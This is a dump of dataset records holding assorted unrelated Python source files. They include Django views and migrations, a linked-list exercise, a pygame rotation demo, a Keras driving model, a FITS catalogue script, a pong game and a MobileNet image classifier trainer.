self.graph_helper[\"pred_id_last_node\"][pred_id]\n except KeyError:\n print(\"Error Pred_Id_Last_Node_Name 1, Setting Isolated Node:{}\".format(node_name))\n self.graph_helper[\"pred_id_last_node\"][pred_id] = node_name\n continue\n # print(pred_id)\n # print(step_info)\n # print(self.graph_helper)\n # print(node_name)\n # sys.exit()\n\n self.graph[node_name].append(pred_id_last_node_name)\n try:\n self.graph[pred_id_last_node_name].append(node_name)\n except KeyError:\n print(\"Error Pred_Id_Last_Node_Name 2\")\n print(node)\n print(pred_id_last_node_name)\n print(node_name)\n print(self.graph_helper)\n sys.exit()\n\n self.graph_helper[\"pred_id_last_node\"][pred_id] = node_name\n\n def write_cytoscape_network_csv(self):\n\n if not self.file_name:\n raise ValueError(\"Must Supply FileName to Generate CytoScape Network CSV\")\n\n if len(self.root_nodes) != 1:\n raise ValueError(\"Currently Only 1 Root Node Supported\")\n\n if not os.path.exists(\"cytoscape\"):\n os.mkdir(\"cytoscape\")\n\n # print(self.graph)\n\n res = [[\"source\", \"target\", \"interaction\", \"directed\", \"symbol\", \"value\"]]\n has_parsed = []\n for source_node in self.graph:\n for target_node in self.graph[source_node]:\n if target_node in has_parsed:\n continue\n symbol = source_node\n value = 1.0\n directed = True\n interaction = \"pp\"\n if source_node in self.root_nodes:\n directed = False\n\n res.append([source_node, target_node, interaction, directed, symbol, value])\n has_parsed.append(source_node)\n\n write_csv(\"cytoscape/{}_TrapNum_{}_cytoscape_network.csv\".format(self.file_name.replace(\".csv\", \"\"), self.trap_num), res)\n\n\n\n\n","sub_path":"cell_family_tree/parse/trap_graph.py","file_name":"trap_graph.py","file_ext":"py","file_size_in_byte":9677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"342010959","text":"from rest_framework import generics\n\nfrom utils.api_helpers import get_datatable_json, DefaultNameOrdering\nfrom utils.api_logging import LoggingMixin\n\nfrom api.models import Milestone\nfrom api.serializers import MilestoneSerializer\n\n\nclass FeatureMappingMilestoneView(LoggingMixin, DefaultNameOrdering, generics.ListAPIView):\n \"\"\" List FeatureMapping Milestone objects \"\"\"\n queryset = Milestone.objects.all()\n serializer_class = MilestoneSerializer\n filterset_fields = ['name']\n\n\nclass FeatureMappingMilestoneDetailsView(LoggingMixin, generics.RetrieveUpdateDestroyAPIView):\n \"\"\" FeatureMapping Milestone single object management \"\"\"\n queryset = Milestone.objects.all()\n serializer_class = MilestoneSerializer\n\n\nclass FeatureMappingMilestoneTableView(LoggingMixin, DefaultNameOrdering, generics.ListAPIView):\n \"\"\" FeatureMapping Milestone table view formatted for DataTable \"\"\"\n queryset = Milestone.objects.all()\n serializer_class = MilestoneSerializer\n filterset_fields = ['name']\n\n def get(self, request, *args, **kwargs):\n return get_datatable_json(self, actions=False)\n","sub_path":"backend/reporting/api/views/feature_mapping/milestone.py","file_name":"milestone.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"595410139","text":"\"\"\"\nClass that represents a single linked\nlist node that holds a single value\nand a reference to the next node in the list\n\"\"\"\nclass Node:\n def __init__(self, value=None, next_node=None):\n self.value = value\n self.next_node = next_node\n\n def get_value(self):\n return self.value\n\n def get_next(self):\n return self.next_node\n\n def set_next(self, new_next):\n self.next_node = new_next\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n\n # add an itme to the end of the list\n def add_to_tail(self, value):\n # if value is a proper node then turn it into one\n if not isinstance(value, Node):\n value = Node(value)\n\n # if it is an empty list, then add value as head of the list\n if self.head is None:\n self.head = value\n\n else:\n # if it is not a empty list, then add value as the tail of the list\n # self.tail.next = value\n self.tail.set_next(value)\n self.tail = value\n\n return\n\n def remove_head(self):\n if self.head:\n # if the next node from the head is empty\n if self.head.get_next() == None:\n # set temp_head to current head\n temp_head = self.head\n # set both the current head and current tail to be empty\n self.head = None\n self.tail = None\n # then return the temporary head\n return temp_head.get_value()\n else:\n # else set the temporary head to the current head\n temp_head = self.head\n # set the current head to the next node\n self.head = self.head.get_next()\n # return the temporary head\n return temp_head.get_value()\n else:\n # else return None\n return None\n\n def contains(self, value):\n # set self.head to current_head\n current_head = self.head\n # while the current_head\n while current_head:\n # if current_head has a value\n if current_head.get_value() == value:\n # return true\n return True\n # set current_head to the next node \n current_head = current_head.get_next()\n # return false \n return False\n\n def get_max(self):\n current_head = self.head\n # set maximum value to None\n max_value = None\n\n while current_head:\n\n # if max_value is None or current_head value is greater than max value\n if max_value is None or current_head.get_value() > max_value:\n\n # set max_value to value of current_head\n max_value = current_head.get_value()\n\n # set the current head to the next node of the current head\n current_head = current_head.get_value()\n\n # return max_value\n return max_value ","sub_path":"linked_list/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"466672136","text":"import datetime\nimport time\n\n\n# tw_date: 107/01/01\ndef tw_date2int(date_str):\n date_split = date_str.split('/')\n return int(\"{}{}{}\".format(int(date_split[0]) + 1911, date_split[1], date_split[2]))\n\n\ndef float_parser(float_str):\n if float_str == \"X0.00\" or float_str == \"-\":\n return 0.0\n\n new_str = \"\"\n\n try:\n for char in float_str:\n if char == ',':\n continue\n\n new_str += char\n\n op_float = float(new_str)\n except:\n raise ValueError(\"error parsing {}\".format(float_str))\n\n return op_float\n\n\ndef delay(sec):\n start_datetime = datetime.datetime.now()\n while (datetime.datetime.now() - start_datetime).total_seconds() < sec:\n time.sleep(0.3)\n\n\ndef wait_retry(logger, sec):\n logger.logp(\"Retry after {}s...\".format(sec))\n time.sleep(sec)\n\n\ndef check_smd_content_by_key(day_data, key):\n try:\n if int(tw_date2int(day_data[0]) / 100) == int(key):\n return True\n except:\n pass\n\n return False\n","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"39659158","text":"# Python program to transform the\n# image with the mouse\n\n#Import the libraries pygame and math\nimport pygame\nimport math\nfrom pygame.locals import *\nimport os\n\n# Take colors input\nRED = (255, 0, 0)\nBLACK = (0, 0, 0)\nYELLOW = (255, 255, 0)\n\n#Construct the GUI game\npygame.init()\n\n#Set dimensions of game GUI\nw, h = 600, 440\nscreen = pygame.display.set_mode((w, h))\n\n# Set running, angle and scale values\nrunning = True\nangle = 0\nscale = 1\n\n# Take image as input\nimg_logo = pygame.image.load('player.png')\nimg_logo.convert()\n\n# Draw a rectangle around the image\nrect_logo = img_logo.get_rect()\npygame.draw.rect(img_logo, RED, rect_logo, 1)\n\n# Set the center and mouse position\ncenter = w//2, h//2\nmouse = pygame.mouse.get_pos()\n\n#Store the image in a new variable\n#Construct the rectangle around image\nimg = img_logo\nrect = img.get_rect()\nrect.center = center\nos.system('python3 snack.py &')\n# Setting what happens when game is\n# in running state\nwhile running:\n\tfor event in pygame.event.get():\n\n\t\t# Close if the user quits the game\n\t\tif event.type == QUIT:\n\t\t\trunning = False\n\n\t\t# Set at which angle the image will\n\t\t# move left or right\n\t\tif event.type == KEYDOWN:\n\t\t\tif event.key == K_a:\n\t\t\t\tif event.mod & KMOD_SHIFT:\n\t\t\t\t\tangle -= 5\n\t\t\t\telse:\n\t\t\t\t\tangle += 5\n\n\t\t\t# Set at what ratio the image will\n\t\t\t# decrease or increase\n\t\t\telif event.key == K_a:\n\t\t\t\tif event.mod & KMOD_SHIFT:\n\t\t\t\t\tscale /= 1.5\n\t\t\t\telse:\n\t\t\t\t\tscale *= 1.5\n\t\t\t\t\n\t\t# Move the image with the specified coordinates,\n\t\t# angle and scale\t\t\n\t\telif event.type == MOUSEMOTION:\n\t\t\tmouse = event.pos\n\t\t\tx = mouse[0] - center[0]\n\t\t\ty = mouse[1] - center[1]\n\t\t\td = math.sqrt(x ** 2 + y ** 2)\n\t\t\tangle = math.degrees(-math.atan2(y, x))\n\t\t\t# scale = abs(5 * d / w)\n\t\t\timg = pygame.transform.rotate(img_logo, angle)\n\t\t\trect = img.get_rect()\n\t\t\trect.center = center\n\t\n\t# Set screen color and image on screen\n\tscreen.fill(YELLOW)\n\tscreen.blit(img, rect)\n\n\t# Draw the rectangle, line and circle through\n\t# which image can be transformed\n\tpygame.draw.rect(screen, BLACK, rect, 3)\n\tpygame.draw.line(screen, RED, center, mouse, 2)\n\tpygame.draw.circle(screen, RED, center, 6, 1)\n\tpygame.draw.circle(screen, BLACK, mouse, 6, 2)\n\t\n\t# Update the GUI game\n\tpygame.display.update()\n\n# Quit the GUI game\npygame.quit()\n","sub_path":"[MicroGame]/TestRotate.py","file_name":"TestRotate.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"86660408","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Image',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('timestamp', models.DateTimeField(auto_now_add=True)),\n ('updated', models.DateTimeField(auto_now=True)),\n ('resource_url', models.CharField(max_length=200)),\n ('is_active', models.BooleanField(default=True)),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Resort',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('timestamp', models.DateTimeField(auto_now_add=True)),\n ('updated', models.DateTimeField(auto_now=True)),\n ('name', models.CharField(max_length=100)),\n ('resource_url', models.URLField()),\n ('latitude', models.FloatField()),\n ('longitude', models.FloatField()),\n ('overview', models.TextField()),\n ('about', models.TextField()),\n ('is_active', models.BooleanField(default=True)),\n ('snow_upper_depth', models.IntegerField(default=0)),\n ('snow_middle_depth', models.IntegerField(default=0)),\n ('snow_lower_depth', models.IntegerField(default=0)),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='image',\n name='resort',\n field=models.ForeignKey(to='resorts.Resort'),\n preserve_default=True,\n ),\n migrations.CreateModel(\n name='SnowFall',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('timestamp', models.DateTimeField(auto_now_add=True)),\n ('updated', models.DateTimeField(auto_now=True)),\n ('amount', models.IntegerField()),\n ('event_date', models.DateField()),\n ('resort', models.ForeignKey(to='resorts.Resort')),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"skihub/resorts/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"167520418","text":"import os\n\n\nd = {'x':1,'y':2,'z':3}\nfor k,v in d.items():\n\tprint(k,'=',v)\n\n\nd1 = {'x':'a','y':'2','z':'3'}\nprint([k+'='+v for k,v in d1.items()])\n\nd2 = ['Hello','WorlD','IBM','Apple']\nprint([s.lower() for s in d2])\n","sub_path":"pythonBase/importTest.py","file_name":"importTest.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"465567118","text":"from django.conf.urls.defaults import patterns, include\n\nfrom records.views import CreateWishView, CreateGiftView, WishListView\n\nurlpatterns = patterns('records.views',\n (r'^wishes$', WishListView.as_view()),\n (r'^wishes/add$', CreateWishView.as_view()),\n (r'^gifts/add$', CreateGiftView.as_view()),\n #(r'^$', ProfileListView.as_view()),\n #(r'^(?P[0-9]+)', ProfileDetailView.as_view()),\n #(r'^edit/$', UserUpdateView.as_view()),\n)\n","sub_path":"records/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"78219518","text":"def numericDivider(A, B):\n A = A.split('.')\n B = B.split('.')\n a = len(A)\n b = len(B)\n min_len = min(len(A), len(B))\n rest = ''\n for i in range(min_len):\n if int(A[i]) > int(B[i]):\n return 1\n\n elif int(A[i]) < int(B[i]):\n return -1\n\n else:\n continue\n\n if len(A) > len(B):\n for i in range(b, a):\n rest += str(A[i])\n\n elif len(B) > len(A):\n for i in range(a, b):\n rest += str(B[i])\n\n if len(A) > len(B) and int(rest) != 0:\n return 1\n\n elif len(B) > len(A) and int(rest) != 0:\n return -1\n\n else:\n return 0\n\n\nr = numericDivider('01.0', '1.0')\nprint(r)\n","sub_path":"Strings/compare-versions.py","file_name":"compare-versions.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"308534247","text":"'''\nOriginal Author: Kaden Archibald\nARES Team - Navigation & Autonomy\nhttps://github.com/USU-Ares/Navigation_2019\n\nUtah State University\nDepartment of Mechanical and Aerospace Engineering\n\nCreated: Jan 11, 2019\nRevised: Feb 20, 2019\nVersion: IPython 6.2.1 (Anaconda distribution) with Python 3.6.4\n\nDriver Code for Main GUI\n'''\n\n\ntry:\n import MasterGUI as gui\nexcept ModuleNotFoundError:\n print('MasterGUI.py source code not found')\n input('Press return to exit')\n quit()\n\n\ndef main(*args, **kwargs):\n \n # Create application\n application = gui.MasterGUI(master = gui.root)\n application.master.title('USU Ares Rover')\n \n # Run application\n application.appExec()\n \n return None\n\n\n\nif __name__ == '__main__':\n try:\n print('Starting GUI...')\n main()\n \n except KeyboardInterrupt as keyStop:\n print('Error: ', keyStop)\n \n except gui.tk.TclError as tkStop:\n pass\n \n finally:\n print('Terminating GUI...')\n gui.MasterGUI.halt(gui.MasterGUI)\n ","sub_path":"src/GUI/MasterGUIMain.py","file_name":"MasterGUIMain.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"327941866","text":"#A library of useful utility functions for primes\n\nimport math\n\ndef listPrimesUpTo(n):\n #List primes up to n\n s=list(range(0,n+1))\n s[1]=0\n bottom=2\n top=n//bottom\n while (bottom*bottom<=n):\n while (bottom<=top):\n if s[top]:\n s[top*bottom]=0\n top-=1\n bottom+=1\n top=n//bottom\n return [x for x in s if x]\n\ndef prime(i, primes):\n for prime in primes:\n if not (i == prime or i % prime):\n return False\n primes.add(i)\n return i\n\ndef listFirstPrimes(n):\n #Lists the first n primes\n primes = set([2])\n i, p = 2, 0\n while True:\n if prime(i, primes):\n p += 1\n if p == n:\n return primes\n i += 1\n\n\ndef numDivisors(n):\n primes = listPrimesUpTo(n)\n numberOfDivisors = 1\n for p in primes:\n count = 1\n while n%p == 0:\n n /= p\n count += 1\n numberOfDivisors *= count\n if n == 1:\n break\n return int(numberOfDivisors)\n\ndef millerRabin(a,s,d,n):\n a_to_power = pow(a, d, n)\n if a_to_power == 1:\n return True\n for i in range(s-1):\n if a_to_power == n - 1:\n return True\n a_to_power = (a_to_power * a_to_power) % n\n return a_to_power == n - 1\n\n\ndef isPrime(n):\n\t#We use a deterministic Miller-Rabin algorithm (we assume n < 2,152,302,898,747, so we only check 2,3,5,7,11)\n if n > 2152302898746:\n raise NameError('Prime is above Miller-Rabin Limit, please change primesLib.isPrime to proceed')\n if n < 2:\n return False\n if n in {2,3,5,7,11}:\n return True\n\n d = n - 1\n s = 0\n while d % 2 == 0:\n d >>= 1\n s += 1\n for a in {2,3,5,7,11}:\n if not millerRabin(a, s, d, n):\n return False\n return True\n","sub_path":"primesLib.py","file_name":"primesLib.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"44508017","text":"import csv\nimport cv2\nimport numpy as np\nimport sklearn\n\n# Read the data images\nsamples = []\ncorrections = [0.0, 0.25, -0.25] # used for center, left, right image\nwith open('data/driving_log.csv') as csvfile:\n reader = csv.reader(csvfile)\n # Skip the header\n next(reader)\n for line in reader:\n for i in range(3): # Add the 3 images with their corrections, so they can be suffled later\n angle = float(line[3]) + corrections[i]\n samples.append([line[i], angle])\n\n# Split the samples for training and validation\nfrom sklearn.model_selection import train_test_split\ntrain_samples, validation_samples = train_test_split(samples, test_size=0.2)\n\ndef generator(samples, batch_size=32):\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n np.random.shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset+batch_size]\n\n images = []\n measurements = []\n for batch_sample in batch_samples:\n source_path = batch_sample[0]\n filename = source_path.split('/')[-1]\n current_path = 'data/IMG/' + filename\n image = cv2.imread(current_path)\n images.append(image)\n measurement = batch_sample[1]\n measurements.append(measurement)\n # Flip Image and add it to the batch also\n images.append(cv2.flip(image, 1))\n measurements.append(measurement * -1.0)\n\n X_train = np.array(images)\n y_train = np.array(measurements)\n yield sklearn.utils.shuffle(X_train, y_train)\n\nfrom keras.models import Sequential, Model\nfrom keras.layers import Flatten, Dense, Lambda, Cropping2D\nfrom keras.layers.convolutional import Convolution2D\n\n# Preprocessing \nmodel = Sequential()\n# Crop first to work with less data\nmodel.add(Cropping2D(cropping=((70,25),(0,0)), input_shape=(160, 320, 3)))\nmodel.add(Lambda(lambda x: (x / 255.0) - 0.5))\n\n# NVIDIA model\nmodel.add(Convolution2D(24,5,5, subsample=(2,2), activation=\"relu\"))\nmodel.add(Convolution2D(36,5,5, subsample=(2,2), activation=\"relu\"))\nmodel.add(Convolution2D(48,5,5, subsample=(2,2), activation=\"relu\"))\nmodel.add(Convolution2D(64,3,3, activation=\"relu\"))\nmodel.add(Convolution2D(64,3,3, activation=\"relu\"))\nmodel.add(Flatten())\nmodel.add(Dense(100))\nmodel.add(Dense(50))\nmodel.add(Dense(1))\n\n# compile and train the model using the generator function\ntrain_generator = generator(train_samples, batch_size=32)\nvalidation_generator = generator(validation_samples, batch_size=32)\n\nmodel.compile(loss='mse', optimizer='adam')\n\n# Samples per epoch is * 2, cause for each batch we return double images (normal and flipped)\nhistory_object = model.fit_generator(train_generator, \\\n samples_per_epoch=(len(train_samples) * 2), \\\n validation_data=validation_generator, \\\n nb_val_samples=(len(validation_samples) * 2), \\\n nb_epoch=3, verbose=1)\n\nmodel.save('model.h5')\n\n# Model visualization\nfrom keras.utils.visualize_util import plot as model_plot\nmodel_plot(model, to_file='images/model.png', show_shapes=True, show_layer_names=False)\n\n### plot the training and validation loss for each epoch\nplt.plot(history_object.history['loss'])\nplt.plot(history_object.history['val_loss'])\nplt.title('model mean squared error loss')\nplt.ylabel('mean squared error loss')\nplt.xlabel('epoch')\nplt.legend(['training set', 'validation set'], loc='upper right')\nplt.show()\n\nexit()\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"551649553","text":"#!/opt/local/bin/python\n# -*- coding: utf-8 -*- \n'''quick script to add a confusion flag to the full mangahi database without eliminating any rows which don't have entries in the confusion table (topcat does not make this easy!)\n'''\n\nfrom astropy.io import fits\nimport numpy as np\nimport pdb \nimport sys\n\ndef add_conflag(catfile,confile,outfile,addprob=False):\n\n #catfile = original catalog\n #confile = file containing confusion flag\n \n dbhdu = fits.open(catfile)\n chdu = fits.open(confile)\n\n #extract data tables\n db = dbhdu[1].data\n conf = chdu[1].data\n\n #add new column to db which will contain the confusion flag\n new_col = fits.ColDefs([fits.Column(name='conflag',format='I',array=np.zeros(len(db)))])\n newdbhdu = fits.BinTableHDU.from_columns(db.columns + new_col)\n db=newdbhdu.data\n\n\n if addprob==True:\n new_col = fits.ColDefs([fits.Column(name='conf_prob',format='F',array=np.zeros(len(db)))])\n newdbhdu = fits.BinTableHDU.from_columns(db.columns + new_col)\n db=newdbhdu.data \n\n #add confusion flag to db. First isolate unique entries (duplicates will have the same confusion flag) and let's just separate out the ones with conflag==1 (we'll only match these to save time)\n \n uniq_ind = (np.unique(conf['hiname'], return_index=True))[1]\n# uniq_ind = uniques[1]\n conf = conf[uniq_ind]\n sel=conf['conflag']==1\n conf=conf[sel]\n\n for name in conf['hiname']:\n sel = (db['mangaid'] == name)\n db['conflag'][sel]=1\n \n if addprob==True:\n for name,cp in zip(conf['hiname'],conf['conf_prob']):\n sel = (db['mangaid'] == name)\n #print(np.sum(sel))\n db['conf_prob'][sel]=cp\n \n newdbhdu.writeto(outfile,overwrite=True) \n \narguments = sys.argv\nif len(arguments) < 3:\n print('error: please supply input hi-manga catalog and optical matches file')\n sys.exit()\n\ncatfile = arguments[1]\nconfile = arguments[2]\nif len(arguments)>3:\n outfile = arguments[3]\nelse:\n outfile = arguments[1]\n \n#catfile = 'mangahi_dr2_062321_gbtonly.fits'\n#confile = 'mangahi_dr2_062321_gbtonly_nsamatch_1.5beam_withprob.fits'\n#outfile = 'mangahi_dr2_062321_gbtonly_withconf.fits'\n\nout=add_conflag(catfile,confile,outfile,addprob=True)\n","sub_path":"database/add_conflag_cl.py","file_name":"add_conflag_cl.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"189109666","text":"from ezpg import *\n\n#paddle class\nclass paddle():\n def __init__(self, x, y):#initiation function\n self.height = 200\n self.width = 20\n self.x = x\n self.y = y-self.height\n\n def draw(self):#for displaying stuff to the screen\n rect(self.x, self.y, self.width, self.height)\n \n def move(self, speed):#for moving the paddles\n self.y += speed\n self.y = constrain(self.y, 0, height()-self.height)\n\n#ball class\nclass Ball():\n def __init__(self):#initiation function\n self.minspeed = 0.2\n self.maxspeed = 1\n self.x = width()/2\n self.y = height()/2\n self.r = 10\n self.vx = 0\n self.vy = 0\n\n if random(0, 1000) < 500:\n self.vx= random(self.minspeed, self.maxspeed)\n else:\n self.vx = random(-self.maxspeed, -self.minspeed)\n\n if random(0, 1000) < 500:\n self.vy = random(self.minspeed, self.maxspeed)\n else:\n self.vy = random(-self.maxspeed, -self.minspeed)\n\n def draw(self):#draw function\n rect(self.x, self.y, 2*self.r, 2*self.r)\n \n def move(self):\n self.x += self.vx\n self.y += self.vy\n \n #vertical bouncing\n if self.y+self.r > height():\n self.vy *= -1\n elif self.y-self.r < 0:\n self.vy *= -1\n\n#main sketch class\nclass ponggame(sketch):\n p1 = None#paddle object\n p2 = None#paddle object\n b = None#ball object\n\n def setup(self):\n global p1#this is needed so you\n global p2#are able to set this to a value\n global b\n\n createCanvas(800, 600)#create the canvas\n rename(\"pong\")\n p1 = paddle(10, height()/2)#create p1 object\n p2 = paddle(width()-30, height()/2)#create p2 object\n b = Ball()\n\n def draw(self):\n background(0, 0, 0)#set background\n p1.draw()#draw player 1's paddle\n p2.draw()#draw player 2's paddle\n b.draw()#draw the ball\n b.move()#move the ball\n\n #handle movement\n if isPressed(\"Q\"):\n p1.move(-1)\n if isPressed(\"A\"):\n p1.move(1)\n if isPressed(\"up\"):\n p2.move(-1)\n if isPressed(\"down\"):\n p2.move(1)\n\nstart(ponggame())\n","sub_path":"demos/demo4.py","file_name":"demo4.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"126459632","text":"import argparse\nimport os\nimport pickle\n\nfrom keras.applications import MobileNetV2\nfrom keras.callbacks import LearningRateScheduler, ModelCheckpoint\nfrom keras.layers import Conv2D, Dense, Dropout, Flatten, Input\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import ImageDataGenerator\n\n\ndef step_decay(epoch):\n x = 1e-3\n if epoch >= 60:\n x = 1e-4\n if epoch >= 100:\n x = 1e-5\n return x\n\n\ndef net(image_size, pretrained_model, alpha=1.0):\n inputs = Input(shape=(image_size, image_size, 3))\n model_mobilenet = MobileNetV2(input_shape=(image_size, image_size, 3),\n alpha=alpha,\n include_top=False,\n weights=pretrained_model,\n input_tensor=None,\n pooling=None)\n x = model_mobilenet(inputs)\n conv_1 = Conv2D(128, (1, 1), activation='relu')(x)\n flat_1 = Flatten()(conv_1)\n drop_1 = Dropout(0.5)(flat_1)\n dence_1 = Dense(128, activation='relu', name='feat_a')(drop_1)\n dence_2 = Dense(32, activation='relu', name='feat_b')(dence_1)\n outputs = Dense(3, activation=\"softmax\")(dence_2)\n model = Model(inputs=inputs, outputs=outputs)\n\n return model\n\n\ndef train(arguments):\n if not os.path.exists(arguments.model_output_directory):\n os.makedirs(arguments.model_output_directory)\n\n train_data_generator = ImageDataGenerator(\n rescale=1. / 255,\n horizontal_flip=arguments.horizontal_flip,\n rotation_range=arguments.rotation_range,\n brightness_range=arguments.brightness_range)\n\n validation_data_generator = ImageDataGenerator(rescale=1. / 255)\n\n train_generator = train_data_generator.flow_from_directory(\n arguments.train_data_directory,\n target_size=(arguments.image_size, arguments.image_size),\n batch_size=arguments.batch_size,\n classes=arguments.classes,\n color_mode='rgb',\n class_mode='categorical')\n\n validation_generator = validation_data_generator.flow_from_directory(\n arguments.validation_data_directory,\n target_size=(arguments.image_size, arguments.image_size),\n batch_size=arguments.batch_size,\n classes=arguments.classes,\n color_mode='rgb',\n class_mode='categorical')\n\n train_num = train_generator.samples\n validation_num = validation_generator.samples\n\n model = net(arguments.image_size, arguments.pretrained_model)\n\n model.summary()\n\n model.compile(optimizer=Adam(lr=1e-3),\n loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n lr_decay = LearningRateScheduler(step_decay)\n\n callbacks = \\\n [ModelCheckpoint(arguments.model_output_directory + '/weights.{epoch:02d}-{val_accuracy:.2f}-{val_loss:.2f}.h5',\n monitor='val_loss', verbose=1, save_best_only=True, save_weights_only=False, mode='auto',\n period=1), lr_decay]\n\n history = model.fit_generator(\n train_generator,\n steps_per_epoch=train_num // arguments.batch_size,\n validation_data=validation_generator,\n validation_steps=validation_num // arguments.batch_size,\n epochs=arguments.epochs,\n callbacks=callbacks,\n verbose=1,\n shuffle=True)\n\n model.save(arguments.model_output_directory + '/final_model.h5')\n\n with open(arguments.model_output_directory + '/learning_history.pkl', 'wb') as f:\n pickle.dump(history.history, f)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Train face network')\n parser.add_argument('--train_data_directory',\n type=str,\n default='',\n help='Input train data directory')\n parser.add_argument('--validation_data_directory',\n type=str,\n default='',\n help='Input validation data directory')\n parser.add_argument('--image_size',\n type=int,\n default=128,\n help='Model input image size')\n parser.add_argument('--horizontal_flip',\n action='store_true',\n help='Horizontal flip')\n parser.add_argument('--rotation_range',\n type=int,\n default=30,\n help='Rotation range')\n parser.add_argument('--brightness_range',\n type=float,\n default=[0.6, 1.4],\n help='Brightness range')\n parser.add_argument('--batch_size',\n type=int,\n default=16,\n help='Batch size')\n parser.add_argument('--classes',\n type=str,\n default=['chinese', 'japanese', 'korean'],\n help='Target classes to recognize')\n parser.add_argument('--pretrained_model',\n type=str,\n default=None,\n help='Pretrained model')\n parser.add_argument('--epochs', type=int, default=120, help='Epochs')\n parser.add_argument('--model_output_directory',\n type=str,\n default=\"output\",\n help='Name of the directory to output models')\n arguments = parser.parse_args()\n\n assert os.path.isdir(\n arguments.train_data_directory), 'Input train data directory'\n assert os.path.isdir(\n arguments.validation_data_directory), 'Input validation data directory'\n\n train(arguments)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"179276801","text":"\"\"\"\n给定一个含有 n 个正整数的数组和一个正整数 s ，找出该数组中满足其和 ≥ s 的长度最小的连续子数组。如果不存在符合条件的连续子数组，返回 0。\n\n示例:\n\n输入: s = 7, nums = [2,3,1,2,4,3]\n输出: 2\n解释: 子数组 [4,3] 是该条件下的长度最小的连续子数组。\n\n\n进阶:\n\n如果你已经完成了O(n) 时间复杂度的解法, 请尝试 O(n log n) 时间复杂度的解法\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/minimum-size-subarray-sum\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\n\"\"\"\n思路：\nnums1=[2, 5, 6, 8, 12, 15]\nnums2=[-5, -2, -1, 1, 5, 8]\n判断下标差的最小值\n如何比较？较为复杂\n是否有简单方法？\n上述方法就是双指针解法/滑动窗口\n\"\"\"\n\n\nclass Solution:\n def minSubArrayLen(self, s: int, nums: [int]) -> int:\n if not nums:\n return 0\n left = 0\n cur = 0\n res = float(\"inf\")\n for right in range(len(nums)):\n cur += nums[right]\n while cur >= s:\n res = min(res, right - left + 1)\n cur -= nums[left]\n left += 1\n return res if res != float(\"inf\") else 0\n\n\nif __name__ == '__main__':\n d = Solution()\n print(d.minSubArrayLen(7, [2, 3, 1, 3, 4, 3]))\n","sub_path":"minSubArrayLen.py","file_name":"minSubArrayLen.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"431745872","text":"from cloudrail.knowledge.context.azure.resources.service_bus.azure_service_bus_namespace import AzureServiceBusNamespace, ServiceBusNamespaceSku\nfrom cloudrail.knowledge.context.azure.resources_builders.scanner.base_azure_scanner_builder import BaseAzureScannerBuilder\n\n\nclass ServiceBusNamespaceBuilder(BaseAzureScannerBuilder):\n\n def get_file_name(self) -> str:\n return 'list-servicebus-namespaces.json'\n\n def do_build(self, attributes: dict) -> AzureServiceBusNamespace:\n properties = attributes['properties']\n sku_attributes = 